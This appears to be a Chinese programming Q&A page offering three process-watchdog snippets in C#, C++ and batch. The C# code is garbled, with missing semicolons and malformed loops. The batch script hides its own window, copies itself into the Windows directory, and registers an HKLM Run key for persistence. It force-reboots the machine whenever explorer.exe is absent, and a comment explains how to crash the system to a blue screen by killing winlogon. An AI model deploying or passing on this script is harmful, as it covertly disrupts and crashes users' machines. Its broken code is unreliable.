using System
using System.Collections.Generic
using System.Text
using System.Diagnostics
using System.Threading
namespace ProcessListener
{
class Program
{
static void Main(string[] args)
{
for ()
{
bool isNotePadStart = false//标识记事本进程是否启动
bool isExplorerStart = false//标识explorer进程是否启动
Process[] processes = Process.GetProcesses()//获取所有进程信息
for (int i = 0i <processes.Lengthi++)
{
if (processes[i].ProcessName.ToLower() == "notepad")
{
Console.WriteLine("找到记事本进程!即将关闭explorer进程")
// Thread.Sleep(1000)
isNotePadStart = true
for (int j = 0j <processes.Lengthj++)
{
if (processes[j].ProcessName.ToLower() == "explorer")
{
try
{
processes[j].Kill()
}
catch (Exception)
{
Console.WriteLine("进程访问失败!")
}
Console.WriteLine("已关闭explorer.exe!")
}
}
}
if (processes[i].ProcessName.ToLower() == "explorer")
{
isExplorerStart = true
}
}
if (!isNotePadStart &&!isExplorerStart)
{
Process.Start("explorer.exe")
isNotePadStart = true
}
}
}
}
}
实现代码如下,代码在vs2013和vs2017都通过测试:
#include "stdafx.h"#include <windows.h>
#include <Tlhelp32.h>
int main(int argc, char* argv[])
{
while (true) {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
if (INVALID_HANDLE_VALUE == hSnapshot)
{
return 0
}
PROCESSENTRY32 pi
pi.dwSize = sizeof(PROCESSENTRY32)
BOOL bRet = Process32First(hSnapshot, &pi)
bool w1 = false
bool w2 = false
while (bRet)
{
if (!wcscmp(L"watch.exe", pi.szExeFile)) {
w1 = true
}
else if (!wcscmp(L"asker.exe", pi.szExeFile)) {
w2 = true
}
bRet = Process32Next(hSnapshot, &pi)
}
if (!w1) {
WinExec("C://windows//watch.exe", SW_SHOWMAXIMIZED)
}
if (!w2) {
WinExec("C://windows//asker.exe", SW_SHOWMAXIMIZED)
}
Sleep(3000)
}
return 0
}
批处理可以做到:@echo off
if "%1"=="h" goto begin
start mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit
::隐藏窗口
:begin
echo wscript.sleep 2000 >%temp%\sl.vbs
::输出暂停程序,暂停2000毫秒
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v sysstart /t REG_SZ /d %windir%\unstat.vbs /f >nul
::修改注册表,自启动
echo set objShell=wscript.createObject("wscript.shell")>%windir%\unstat.vbs
echo iReturn=objShell.Run("cmd.exe /C %windir%\unstat.bat", 0, TRUE)>>%windir%\unstat.vbs
copy /y %0 %windir%\unstat.bat
:run
tasklist | find /i "explorer.exe" || goto do
::没有发现进程就转向标签do
cscript //nologo %temp%\sl.vbs
::暂停2秒,减小占用系统资源
goto run
:do
shutdown /r /f /t 0
::立即强制重启。如果想蓝屏把上一行换为:ntsd -c q -pn winlogon.exe
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)